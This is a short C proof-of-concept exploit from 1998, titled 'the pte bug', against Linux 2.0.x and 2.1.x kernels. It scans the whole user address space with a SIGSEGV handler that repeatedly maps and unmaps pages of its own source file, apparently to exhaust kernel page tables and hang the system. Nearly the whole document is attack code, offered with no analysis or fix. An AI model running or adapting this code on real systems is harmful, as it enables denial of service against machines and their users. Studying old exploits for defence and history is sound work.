/*

    SYSTEMS AFFECTED
    Linux 2.0.x, 2.1.?

   the pte bug - Sed hacking linux kernel, 24 may 1998

*/


unsigned long address;
int touch_me;
int fd;

#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

    void the_handler(int x)
    {
      signal(SIGSEGV, the_handler);

      touch_me++;

      if(mmap((void *)address, 4, PROT_READ,
	    MAP_FIXED|MAP_PRIVATE, fd, 0)==(void *)-1) {
	perror("mmap");
	exit(1);
      }
    }

    void main(void)
    {
      /* volatile to fool GCC, we _WANT_ access *address */
      volatile unsigned long i;

      fd=open("pte.c", O_RDONLY);
      if (fd==-1) {
	perror("open");
	exit(1);
      }

      signal(SIGSEGV, the_handler);

      /* 3*1024*1024*1024 = TASK_SIZE,
       * 1024*4096 = number of bytes one pte can map */
      for (address=0; address<3*1024*1024*1024; address+=1024*4096) {
	i=*(unsigned long *)address;
	if (touch_me) {
	  touch_me=0;
	  munmap((void *)address, 4);
	}
      }

      while(1)
	pause();
    }
